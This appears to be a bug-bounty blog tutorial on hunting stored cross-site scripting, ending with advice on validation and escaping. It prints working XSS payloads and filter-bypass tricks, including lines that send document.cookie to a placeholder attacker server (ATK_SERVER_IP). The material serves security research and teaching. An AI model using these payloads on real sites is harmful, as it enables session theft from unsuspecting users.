Cross-Site Shenanigans

In this week's article I deep-dive into how to find Cross-Site Scripting vulnerabilities in modern web applications, as well as briefly touching on how to prevent them.

What is XSS:

Cross-site scripting, more commonly called XSS, is a web vulnerability where an attacker is able to input malicious JavaScript to an application and the server executes it on their behalf. This occurs when an application accepts user input without proper validation and then renders it on a users' browser without proper sanitization. XSS occurs in many forms depending on the context surrounding the vulnerable input field. The most common types of XSS we'll see are as follows:

Stored XSS:

Occurs when an application internally stores a malicious payload and renders it back into users' browsers at a later time, or in a different location. Every time a user accesses the stored information, the malicious payload will execute in their browser.

Typically found in:

  • Blog posts
  • User profiles
  • Comment sections

Reflected XSS:

Occurs when user input is returned to the user without being stored in a database. The application takes in user input, processes it server-side, and immediately returns it to the user to construct web pages dynamically.

Typically found in:

  • Pages that echo search queries
  • Pages with verbose error messages

Self XSS:

Occurs when a victim is tricked into inputting the malicious payload themselves, typically due to the vulnerable field being visible only to the specific user.

Typically found in:

  • Vulnerable fields private to each user
  • Guides that provide misinformation and malicious payloads

For the purpose of this article, we'll focus on Stored XSS. By nature, stored XSS allows for one payload to impact many users, and tends to have a higher outright impact than other forms of XSS as a result.


XSS Flow:

Step 1: Finding Input Opportunities:

First, look for opportunities to submit user input to the target site. When focusing on Stored XSS, search for places where input gets stored by the server and is displayed to the user again later. When an application accepts user input without validation, stores the input in its servers, and then renders it on a users' browser without sanitization -- malicious JavaScript code can make its way into the database and from there to the victims' browsers.

Beyond Text Input:

Don't limit yourself to text input fields either. Sometimes drop-down menus, and even numeric fields, can be vulnerable to XSS. If you can't enter your payload into these fields in the browser or are blocked by cliend-side filtering, you can always try to use a proxy tool such as Burp to modify the request directly.

If a developer is careless, they'll think these inputs are safe as they don't directly allow for text, and they may not have implemented proper sanitization checks.

Step 2: Test Payloads:

Once you've identified input opportunities in an application, you can start entering test payloads into the discovered injection points. The classic example of XSS is:

<script>alert('XSS by Eru');</script>

If this succeeds, we'll see an alert pop-up on the application with the text "XSS by Eru". That said, this payload is likely to fail in all but the most basic of web applications. Most modern websites implement at least some sort of basic XSS protection on their input fields, and this payload is far too well known.

Beyond <script>:

Relying on <script> tags isn't our only option. With a little creativity and some HTML know-how, we can expand our arsenal to include attributes found inside various HTML tags. Specifically, attributes that allow us to execute a script that's ran when a condition is met. For example, the onerror event attribute runs a specified script if an element fails to load:

<img src="Fake_Source" onerror=alert('XSS by Eru'>

Similarly, the onmouseover and 'onclick' event attributes specify
scripts to be executed when a users cursor hovers over an element, and when the element is clicked. By inserting code into these attributes, or even injecting new event attributes into an HTML tag, we can create our opportunity for XSS.

Step 3: Validate the Impact:

As with any bug, we should take the time to confirm the impact of what we've found. One of the worst things we can do when conducting security research is claim "well it worked on my computer", and as a researcher, you should always take the time to thouroughly test that not only does the vulnerability work continuously, but that it provides real impact to the application's ability to ensure confidentiality, integrity or availability.

If our payload is using an alert, is a pop-up generated? If it's using a location, are we redirected? Some payloads will only execute when certain conditions are met, such as when a user actively clicks on, or hovers over, the effected HTML elements. We should always confirm the impact of the XSS payload by browsing to the necessary pages and performing these actions ourselves, and when reporting these vulnerabilities we should include the necessary steps to repeat the vulnerability such that the triage team is able to reproduce our findings.


Bypassing Protections:

Alternative Schemes:

Modern web applications will rarely be found without some form of XSS protection. Often, this is achieved by implementing a blacklist that will filter out key words and special characters, as mentioned above, blocking the <script> tag is incredibly common.

One method for working around this is to use alternative URL schemes such as javascript: and data:. For example, the following will both create clickable links that will execute a simple XSS payload:

<a href="javascript:alert('XSS by Eru')">Example Link</a>

<a href= "data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTIGJ5IEVydScpPC9zY3JpcHQ+">Example Link</a>

While the javascript: scheme is fairly straight-forward, the data: scheme is a bit more detailed. Following a format of Scheme, Content Type, Encoding, and Body, we're able to construct miniature HTML pages embedded into a single URL. The above payload for instance, decodes to:

<script>alert('XSS by Eru')</script>

Imperfect String Matching:

Fundamentally, most blacklists function by searching for specific strings and substrings in the provided input. Depending on their specific implementation, this leaves room for several flaws. For instance, if the filter is searching for case-sensitive, exact matches -- the following abnormal payload could bypass it:

<sCrIPt>location='http://ATK_SERVER_IP/?c='+document.cookie;</sCrIPt>

That said, if the filter is checking for special characters, the above won't get us far. Instead, we can take advantage of the JavaScript function, fromCharCode(). This allows us to build a string by providing the decimal representation of a characters ASCII value. Modifying the above payload with this in mind, we get:

<sCrIPt>location=String.fromCharCode(104,116,116,112,58,47,47,65,84,75,95,83,69,82,86,69,82,95,73,80,47,63,99)+document.cookie;</sCrIPt>

Logic Flaws:

We also have the option of exploiting flaws in the filters logic. Like all programs, the filter follows a set of predefined logic in how it works. If we're able to find flaws in this, we can leverage it into a bypass for our payloads.

A common example of this, is if the string filtering isn't recursive. If the filter only makes a single pass through our payload to remove key words, we can potentially work around this by double embedding our tags. Let's take our above payload for example. If the filter is able to detect and remove the <sCrIPt> tag regardless of it's capitalization, our payload becomes invalid. That said, we can modify our payload as follows:

<sC<sCrIPt>rIPt>location=String.fromCharCode(104,116,116,112,58,47,47,65,84,75,95,83,69,82,86,69,82,95,73,80,47,63,99)+document.cookie;</sC<sCrIPt>rIPt>

Because we've broken our tags by embedding a second <sCrIPt> tag into them, the filter will actually repair our payload when it strips the unbroken <sCrIPt> tags, letting us take full advantage of the filter, and getting our payload to execute.


Preventing XSS:

To prevent XSS, an application should implement two main controls:

  1. Robust input validation
  2. Proper output sanitization

Input Validation:

Applications should never allow user submitted data to be input directly into an HTML document. Instead, it should always validate and sanitize input such that it doesn't contain any dangerouse scripts or characters that would impact how the browser renders the page.

This includes:

  • HTML tags
  • Attribute names
  • Arbitrary JavaScript

Output Sanitization:

When presenting user submitted data, an application should always be mindful of the possibility that it has been modified since it was validated at input. In this way, sanitization revolves around Escaping and Encoding.

Escaping is the practice of encoding special characters such that they are interpreted literally in the browser. If you've ever attempted an XSS payload and noticed your "<" turned into a "&lt", you've experienced this. Common in most modern webapps, escaping ensures that browsers don't misinterpret these characters as code to be executed, and drastically limit an attackers ability to input a payload that will execute as they intend.